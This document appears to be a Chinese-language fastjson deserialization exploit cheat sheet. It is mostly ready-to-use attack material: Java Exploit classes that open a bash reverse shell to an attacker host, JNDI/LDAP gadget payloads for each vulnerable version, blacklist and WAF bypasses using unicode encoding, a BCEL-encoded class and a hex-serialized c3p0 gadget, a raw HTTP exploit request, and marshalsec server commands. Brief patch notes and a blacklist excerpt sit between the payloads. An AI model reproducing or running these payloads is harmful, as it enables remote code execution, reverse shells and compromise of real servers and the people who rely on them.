fastjson反序列化框架图
JNDI
不出网
1.直接反序列化 _bytecodes
2.直接反序列化,通过dbcp
版本识别Payload
{"@type":"java.lang.AutoCloseable"
exp.java -( Windows环境-弹出计算器,Linux环境-反弹shell)
import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.io.IOException; import java.util.Hashtable; public class Exploit{ public Exploit() {} static { try { String[] cmds = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe","/c", "calc.exe"} : new String[]{"bash", "-c", "/bin/bash -i >& /dev/tcp/[host]/Port 0>&1"}; Runtime.getRuntime().exec(cmds); } catch (Exception e) { e.printStackTrace(); } } public static void main(String[] args) { Exploit e = new Exploit(); System.out.println("hello world"); } }
Windows 环境
exp.java -- 计算器
public class Exploit { static { System.err.println("Pwned"); try { String[] cmd = {"calc"}; java.lang.Runtime.getRuntime().exec(cmd).waitFor(); } catch ( Exception e ) { e.printStackTrace(); } } }
Linux反弹shell
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/[Host]/Port 0>&1"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
TouchFile.java
// javac TouchFile.java import java.lang.Runtime; import java.lang.Process; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/success"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
过waf-Payload
{"name":{"u0040u0074u0079u0070u0065":"u006au0061u0076u0061u002eu006cu0061u006eu0067u002eu0043u006cu0061u0073u0073","u0076u0061u006c":"u0063u006fu006du002eu0073u0075u006eu002eu0072u006fu0077u0073u0065u0074u002eu004au0064u0062u0063u0052u006fu0077u0053u0065u0074u0049u006du0070u006c"},"x":{"u0040u0074u0079u0070u0065":"u0063u006fu006du002eu0073u0075u006eu002eu0072u006fu0077u0073u0065u0074u002eu004au0064u0062u0063u0052u006fu0077u0053u0065u0074u0049u006du0070u006c","u0064u0061u0074u0061u0053u006fu0075u0072u0063u0065u004eu0061u006du0065":"ldap://[host]:Port/Exploit","autoCommit":true}}
{"@x74ype":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://host:port/Exploit"}
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://[host]/Port","autoCommit":true}}
FastJson快速识别
有回显(不闭合花括号)
poc-1
{“a”:"
poc-2
{
"@type":"java.net.Inet4Address",
"val":"dnslog"
无回显:
{"name":{"@type":"java.net.Inet4Address","val":"dnslog"}} --无回显首选
{"name":{"@type":"java.net.Inet6Address","val":"dnslog"}}
{"name":{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}}
{"name":{"@type":"java.net.URL","val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0
DDOS
{"a":"x
- 基于RMI的利用方式,适用jdk版本:JDK 6u132、JDK 7u122、JDK 8u113 之前
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/css/#Exploit 1099
- 基于LDAP的利用方式,适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://[host]:Port/#Exploit 1389
fastjson <= 1.2.24
POST / HTTP/1.1 Host: IP:Potr Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 138 { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://[host]:Port/Exploit",
"autoCommit":true } }
String Payload
String payload = "{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://[host]:Port/Exploit", "autoCommit":true}";
Fastjson 1.2.24 可用Gadgets 相关类
0x1 基于com.sun.rowset.JdbcRowSetImpl(基于JNDI Bean Property类型)
调用栈:
0x2 基于com.sun.org.apache.bcel.internal.util.ClassLoader
0x3 基于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的PoC3(快手廖新喜师傅-实际环境中基本遇不到)
0x4 基于TemplateImpl(限制比较多,需要打开SupportNonPublic开关,场景比较少见)
0x05 基于JNDI Field类型
Set[{"@type":"org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor","beanFactory":{ "@type":"org.springframework.jndi.support.SimpleJndiBeanFactory","shareableResources":["ldap://[host]:Port/Exploit"]},"adviceBeanName":"ldap://[host]:Port/Exploit"},{"@type":"org.springframework.aop
.support.DefaultBeanFactoryPointcutAdvisor",}]
调用栈:
0x06 基于JndiRefForwardingDataSource
{"@type":"com.mchange.v2.c3p0.Jndi RefForwardingDataSource", "jndiName":"ldap://[host]:Port/Exploit",
"loginTimeout":0 }
调用栈:
0x07 基于SpringPropertyPathFactory
{"@type":"org.springframework.beans.fac tory.config.PropertyPathFactoryBean", "targetBeanName":"ldap://[host]:Port/Exploit",
"propertyPath":"foo", "beanFactory": {"@type":"org.springframework.jndi.supp ort.SimpleJndiBeanFactory","shareableRe sources":["ldap://[host]:Port/Exploit"]}
}
调用栈
0x08 基于WrapperConnectionPoolDataSource
{"@type":"com.mchange.v2.c3p0 .WrapperConnectionPoolDataSou rce", "userOverridesAsString": "HexAsciiSerializedMap:aced0005737200 3d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469 726563746f72245265666572656e636553657269616c697a6564621985d0d12ac21302000 44c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b 4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d65 71007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f52656 66572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656 e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566 563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f53747 2696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636 c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d997 7d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d6 56e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4 f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a65 63743b90ce589f1073296c02000078700000000a707070707070707070707874000745787 06c6f6974740016687474703a2f2f6c6f63616c686f73743a383038302f740003466f6f;"} ByteArrayOutputStream b = new ByteArrayOutputStream(); try ( ObjectOutputStream oos = new ObjectOutputStream(b) ) { Class<?> refclz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$Reference Serialized"); //$NON-NLS-1$ Constructor<?> con = refclz.getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class); con.setAccessible(true); Reference jndiref = new Reference("Foo", clazz, codebase); Object ref = con.newInstance(jndiref, null, null, null); oos.writeObject(ref); } return "HexAsciiSerializedMap:" + Hex.encodeHexString(b.toByteArray()) + ";"; //$NON-NLS-1$
调用栈:
0x09 基于dhcp
payload = "{ " + ""@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource", " + ""driverClassLoader": { " + ""@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" " + "}, " + ""driverClassName": "$$BCEL$$" + "$l$8b$I$A$A$A$A$A$A$AmS$ebN$d4P$Q$fe$ce$deZJq$97$C$a2$e0$F$Qq$Xe$eb$V$_$m$8a$Lh$b2h$8c$r$90$V$ff$9c$z$tP$ed$b6$b5$3d$cb$e5Q$7c$C$S$ff$n$J$Q$8d$3e$80$Pe$9c6$h$40$dc$3fg$ce$f9$e6$9b$99o$a6$d3$df$7f$be$ff$Cp$l$af4$f4aT$c1u$N$v$8cv$d01$a6$e2Fl$8b$wJ$g$c6qS$83$8e$5b$w$sb$5bV$60$aa$b8$ad$e2$8e$8a$bb$w$eei$94$e2A$7cL$wx$a8$a1$H$8f$U$3cf$c8$c9$8dP$f05$Gc$f1$p$df$e4$a6$cb$bdus$v$c1$a6$Y$d2v$e3$8c$cb$92$a1$e3$ad$93$x7$edx$8e$9c$nN$b1$b4$cc$90$a9$f8k$82$n$bf$e8x$e2M$b3Q$X$e1$S$af$bb$84$a8$d3$b6$dbbvY$92$db$9f$5e$f3$mq$vxBJ$Y4$cbo$86$b6Xpbv$87$d8t$dcr$5cN$c7$A$G$J$98$T$N$df$8cQ$j$e7$d1$cf0$ec$H$c2$h2g$83$c0ul$$$j$df$8b$cc$Kw$ed$a6$cb$a5$l$96y$Q$e8$b8$80$8b$M$8a$l$95$3d$de$a0$3aS$3a$a6$f1T$c7$M$9e$91$dc$z$c7$d3$f1$i$b3$M$85$b3mQ$Q5$5c$W$db$a4$qe$daT$dd$ac$3b$9eY$e7$d1$G$B$T$b6$82$X$3a$w$98$d31$8f$F$86$9e$93$f8$f9m$5b$E$b1$Y$j$_c$d9$85$b3$c3$q$f6j$bb1$9e$d6$b0$TI$d1$60$e8$5c$X$f2mHm$86r$87a$ac$f8$7fX$a9$5d$a6N$e9$_$fa$5b$o$ac$f0$88$e4$f7$W$db$92T$db$f7$qw$bc$88a$f0t$e2$ca$G$P$z$f1$b9$v$3c$5bL$95$de3t$9f$f8$de5$3d$e94$u$a7F$c2$8e$l$7d$ff$Uh$c1T$nC$d3$a3$c9$V$8bm$da$3d$jA$j$da$o$8a$u$o$l$90S$s$bb$b1$Ur$5b$60$98v$ba$8fv$3e$F$z$fe$e6t$d3$e2O$9a$m$y$5e$L$3a$_$d1$eb2YF6$3b$7e$I$b6G$XF$Q$90K$c04T$5c9$a6$7eE$sA$3f$fc$40$aav$88$f4$3e2Fv$l9C9$82z$80$OC$3b$40$e7$X$M$e4$7eB$af$a5$8d$$$ab$961$ceY$b5$ec7$e4$ac$5d$f4$b7$e0$7c$M$XZp$f5$I$dd$e3$H0Vv$a1V$e9$d2$bbG$V$f2$b0$b0L$3fW$wQ2B$g$40$955d$c9$a3$a1$8a$$$f2w$T$p$8f$V$U$b0J$cc$ab$c4$d0$91$99$b4$U$MU$V$M$c7$3aG$92V$af$fd$F$N$5c$a2N$fb$D$A$A" + "", " + ""logWriter":"" " + "}"; System.out.println(payload); JSON.parse(payload); } }
0x10 基于StatisticsService
payload = "{"@type":"org.hibernate.jmx.StatisticsService","SessionFactoryJNDIName":"rmi://127.0.0.1:1099/Exploit"}";
fastjson 1.2.25
补丁:
(1)默认关闭autotype功能
(2)修复 fastjson <= 1.2.24版本漏洞
fastjson 1.2.41(添加黑名单类)
this.denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.apache.xalan,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");
fastjson <= 1.2.41
poc-1
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://[host]:Port/Exploit", "autoCommit":true}
poc-2
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://[host]:Port/Exploit","autoCommit":true]}
fastjson 1.2.42
补丁
(1)原本明文的黑名单改成了哈希过的黑名单(2017.11 -- https://github.com/LeadroyaL/fastjson-blacklist) (2)防护措施:checkAutoType() 797行,通过subString将className开头和结尾去掉,去掉了fastjson <= 1.2.41 poc中的L和;
fastjson <= 1.2.42
poc-1 {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://[host]:Port/Exploit", "autoCommit":true} poc-2 {"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://[Host]:Port/Exploit","autoCommit":true]}
fastjson 1.2.43
补丁:
如果className开头是LL就抛出错误
fastjson <= 1.2.43
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://[Host]:Port/Exploit","autoCommit":true]}
fastjson <= 1.2.45
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://[HOst]:Port/Exploit"}}
1.2.25 <= fastjson <= 1.2.47(后续漏洞皆是黑名单类的绕过)
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://[Host]:Port/Exploit","autoCommit":true}}}
补丁:
(1)黑名单修复:
增加
java.lang.Class
java.net.InetAddress
(2)MiscCodec.java文件对cache缓存设置成false
(3)ParserConfig.java文件对checkAutoType()进行了相关策略调整
fastjson <= 1.2.60
拒绝服务漏洞(安卓版本1.1.71.android 不受此漏洞影响)
poc-1
{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://[host]:Port/Exploit"}
poc-2
{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"ldap://[host]:Port/Exploit"}
fastjson = 1.2.61
补丁:
把黑名单从十进制数变成了十六进制数 -2019.9 -- https://github.com/alibaba/fastjson/commit/d1c0dff9a33d49e6e7b98a4063da01bbc9325a38
fastjson 1.2.62
补丁:
把黑名单小写字符替换为大写字符 -- https://github.com/alibaba/fastjson/commit/014444e6c62329ec7878bb6b0c6b28c3f516c54e)
fastjson <= 1.2.62
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://[host]:Port/Exploit"}";
fastjson <= 1.2.66
// 需要autotype=true
poc-1
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","resourceName":"ldap://[host]:Port/Exploit"}
fastjson 1.2.67
补丁:
(1)将内置白名单也使用哈希的方式存放 https://github.com/alibaba/fastjson/commit/84eca8e56003ff6ebad3da19c6d69dcd842dbdf7
(2)org.springframework.security.web.savedrequest.DefaultSavedRequest从白名单移除
fastjson <=1.2.67
- fastjson sec版本 <= sec9
- android版本不受此漏洞影响
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","metricRegistry":"ldap://[host]:Port/Exploit"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://[host]:Port/Exploit"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://[host]:Port/Exploit"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://[host]:Port/Exploit"}}
fastjson <=1.2.68
补丁:
(1) 引入了safeMode,开启safeMode可关闭autoType功能
(2) 补全1.2.67 绕过 autoType黑名单
caucho-quercus com.caucho.config.types.ResourceRef
CocoonComponents
String fastjsonPayload = "{"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://[IP]:Port/Exploit"}, "namespace":""}"; shaded hikari-config(HadoopHikariPoc)
payload-1
String payload = "{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://[IP]:Port/Exploit"}";
payload-2
String payload = "{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://[IP]:Port/Exploit"}";
HikariConfig
payload-1
String payload = "{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://[IP]:Port/Exploit"}";
payload-2
String payload = "{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://[IP]:Port/Exploit"}";
CommonsProxy
String payload = "{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://[IP]:Port/Exploit","Object":"a"}";
fastjson 1.2.70
(1)引入了safeMode
(2)补全1.2.68 autoType黑名单
fastjson 1.2.70
增加autoType黑名单
fastjson 1.2.71
增加autoType黑名单(预防性补充)
Gadgets 构造方法:
抽象语法树分析 -- https://www.freebuf.com/articles/web/213327.html
1.2.24 Payload 打 1.2.47版本漏洞
1.2.47 Payload 打 1.2.24版本漏洞
HadoopHikariPoc